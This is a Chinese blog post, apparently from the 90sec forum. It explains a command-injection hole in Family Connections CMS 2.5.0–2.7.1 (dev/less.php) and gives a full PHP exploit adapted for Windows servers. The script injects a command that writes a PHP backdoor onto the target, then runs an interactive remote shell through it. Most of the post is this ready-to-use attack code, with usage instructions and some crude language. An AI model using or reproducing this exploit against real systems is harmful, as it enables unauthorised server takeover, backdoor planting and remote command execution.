Author:TPCS
From:90sec
Blog:http://blog.163.com/jianshitianxia_ao/
0x01 引言
最近在练习些PoC,找个这个老洞来练手,最早的PoC发布是在exploitDB上,就不贴链接了,大家自己去搜下吧。一开始拿到原来的PoC,想搜下相关内容,看看有没有什么信息之类的,结果搜出来的内容,真是让我想骂人,国内的关于这个漏洞,基本上就是把人家原文贴上去,一点说明都没有。而且exploitDB上的PoC是有限制的,PoC的运行环境要是linux,目标的建站环境也要是linux,所以我得出一个结论,这些贴PoC的傻逼们,连测试都没做就贴出来,给自己装下逼。
好了,牢骚发完了,入正题吧。这个漏洞主要形成的原因是由于/dev/less.php这个文件中,用到system函数时,直接将未做任何过滤的变量$theme插入参数中,而导致的命令执行问题。有问题的代码如下:
$theme = isset($argv[1]) ? $argv[1] : 'default'; system("clear"); if (file_exists("$dir/themes/$theme/style.css")) { echo "\n[ themes/$theme/style.css ] already exists.\n\n"; echo "Overwrite [ y/n ] ? "; $handle = fopen ("php://stdin","r"); $line = fgets($handle); if (trim($line) != 'y') { exit; } } $worked = system("php -q ~/bin/lessphp/lessc $dir/themes/$theme/dev.less > $dir/themes/$theme/style.css");
0x02 利用
虽然,自己测试原来的PoC时,纠结了一段时间,但是,后来通过自己抓包分析,明白大致问题所在这个过程,自己也学到不少东西。稍微解释下我遇到的问题,linux和windows下的命令行操作,在连接字符上是有些不同的,例如windows下输入“echo hello ; net user”将会打印出“hello ; net user”,但是在linux下输入“echo hello ; ifconfig”则会打印hello,并执行ifconfig。原来的PoC就是针对linux服务器编写的,所以它的所发的命令用的“;”,所以我在针对windows服务器实现的过程中将“;”修改为&。具体实现方法,大家看后面的PoC吧。
这个漏洞的利用,还用到了全局变量覆盖的内容,所以在PHP5.3以前的版本中,必须要将register_globals打开。但是在PHP5.3之后,register_globals这个参数取消掉了,也就是说PHP5.3之后register_gloals永远是关闭的了,这个问题在5.3之后便不存在了。
0x03 PoC
编写PoC的过程中遇到了一个关于default_socket_timeout的理解问题,稍微试验了下,明白的了这个设置大概的意思。具体内容,想看的朋友到我的博客上去看吧,这里就不多讲了。
我实现PoC的思路和原来作者有些不同,她直接通过漏洞文件中system命令和攻击者形成交互,但是这样做,交互的时间会很慢。所以,我采用的方法是至于漏洞文件进行一次交互执行system函数,生成一个后门php文件,然后PoC与这个php文件进行交互,具体细节大家看代码吧。
<?php print_r(" -------------------------------------------------------------------------------- Family Connections CMS v2.5.0-v2.7.1 (less.php) remote command execution exploit by TPCS [url=http://blog.163.com/jianshitianxia_ao/]http://blog.163.com/jianshitianxia_ao/[/url] -------------------------------------------------------------------------------- "); if ($argc < 3) { print_r(" ----------------------------------------------------------------------------- 用法: php ".$argv[0]." <目标ip[:端口]> <CMS路径> <后门文件名> 目标ip: 目标ip地址,若不填写端口,默认为80 CMS路径: Family Connections CMS所在目录 后门文件名: 利用成功后会生成一个后门文件,留空则为TPCS.php Example: php ".$argv[0]." 192.168.1.5:80 /wp/ fuck.php php ".$argv[0]." 192.168.1.5 /wp/ 输入exit结束交互 ----------------------------------------------------------------------------- "); die; } error_reporting(0); set_time_limit(0); ini_set("default_socket_timeout",8); function CPacket($host,$path,$doorname){ $packet = "GET ".$path."dev/less.php?argv[1]="; $packet .= urlencode("||echo ^<?php error_reporting(0);passthru(base64_decode(\$_SERVER[HTTP_CMD])); ?^> > {$doorname} ||"); $packet .= " HTTP/1.1\r\n"; $packet .= "Host:".$host."\r\n"; $packet .= "\r\n"; return $packet; } function SPacket($host,$port,$packet){ if(!($socket = fsockopen($host,$port))) die("\n[-] No response from {$host}:{$port}\n"); fputs($socket,$packet); return stream_get_contents($socket); } function SArgs($argv){ $Args = array(); if(strpos($argv[1],":")){ $HP = explode(":",$argv[1]); $host = $HP[0]; $port = (int)$HP[1]; } else{ $host = $argv[1]; $port = 80; } $Args['host'] = $host; $Args['port'] = $port; $Args['path'] = $argv[2]; if($argv[3] != '' || $argv[3] != null) $Args['doorname'] = $argv[3]; else $Args['doorname'] = "TPCS.php"; return $Args; } $myArgs = SArgs($argv); $host = $myArgs['host']; $port = $myArgs['port']; $path = $myArgs['path']; $doorname = $myArgs['doorname']; $myPacket = CPacket($host,$path,$doorname); $mySent = SPacket($host,$port,$myPacket); if(strpos($mySent,"||echo ^<?php")){ print_r("利用成功\n"); $myPacket = "GET {$path}dev/{$doorname} HTTP/1.0\r\n"; $myPacket .= "Host: {$host}\r\n"; $myPacket .= "Cmd: %s\r\n"; $myPacket .= "Connection: close\r\n\r\n"; while(1){ print "\nshell# "; if (($cmd = trim(fgets(STDIN))) == "exit") break; $response = SPacket($host, $port,sprintf($myPacket, base64_encode($cmd))); preg_match('/\r\n\r\n(.*)\s*/s',$response,$value)?print $value[1]:die("貌似没成功:-("); } } else print_r("利用失败"); ?>